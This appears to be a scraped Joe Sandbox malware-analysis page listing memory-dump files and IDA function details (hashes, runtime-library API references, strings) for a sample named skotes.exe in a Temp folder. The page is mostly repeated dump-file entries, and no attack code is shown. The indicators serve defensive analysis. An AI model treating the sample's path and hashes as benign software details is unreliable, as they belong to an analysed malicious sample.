Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: d465758e4b915668386bb01fed9177121d2a508fbf6ae6727f2eb3e01b9437fd
Instruction ID: 0f8ff7bcf28a37b875b3452d1b8ab7bdbd1421282c1ee0bb9dc902a770864efa
Opcode Fuzzy Hash: d465758e4b915668386bb01fed9177121d2a508fbf6ae6727f2eb3e01b9437fd
Instruction Fuzzy Hash: 1B214C31B0065D9BCB18A76AC855ABCB3E5BF94328F04119AE401A72D1CF74EC81CA85

Function 00EEDFE3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 85COMMON

Download Yara Rule

Strings

6, xrefs: 00EEE034
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 00EEDFE8

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 6$C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-444235500
Opcode ID: 637ab2b58dec2f760bc46cb2f4df474c3ce63582ec77856a64545b1a851d65c9
Instruction ID: e2211a984c810b8bde9c84ecd883faacbb0dd5a816f8dacd49a5dbd4c9c65b0a
Opcode Fuzzy Hash: 637ab2b58dec2f760bc46cb2f4df474c3ce63582ec77856a64545b1a851d65c9
Instruction Fuzzy Hash: 4621A17160428D7FEB30AE67AC80E6B77EDEF403687106614F968B7392E761ED008760

Function 00EDAE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 00EDAEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00EDAF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 00EDAF4E

Strings

pExecutionResource, xrefs: 00EDAF07

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: 09ceeb7e4d2492975528d3590112055a3e200a391622402101a2635f40754f8b
Instruction ID: cc17f66729822f4d332cb446ff6737809c3653591a7c8d787485d7243f284b6b
Opcode Fuzzy Hash: 09ceeb7e4d2492975528d3590112055a3e200a391622402101a2635f40754f8b
Instruction Fuzzy Hash: 2F21B6756402059BCB08EF64C942BADB7E5BF88300F14502DF505BB382DBB2EE42DB96

Function 00ED4EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00ED4F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 00ED4F66

Strings

ppVirtualProcessorRoots, xrefs: 00ED4F1C
count, xrefs: 00ED4EBA

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: b352c8c7fe7c91ac65aa42955e02a5d7aaa17c3d8beed90c0c0c2c0fe157fa92
Instruction ID: ab53d0c90d55f940acd476554ce76b11a15977cb09fcd7b25458ed4ce368a835
Opcode Fuzzy Hash: b352c8c7fe7c91ac65aa42955e02a5d7aaa17c3d8beed90c0c0c2c0fe157fa92
Instruction Fuzzy Hash: F921B075600505EFCB14EF68C992EAD77E5FF48310F00502AE906AB791CB72AE02DB51

Function 00EDB975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00EDBA0E

Strings

combase.dll, xrefs: 00EDB983, 00EDB988, 00EDB99D, 00EDB9C8
RoInitialize, xrefs: 00EDB998
RoUninitialize, xrefs: 00EDB9C1

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

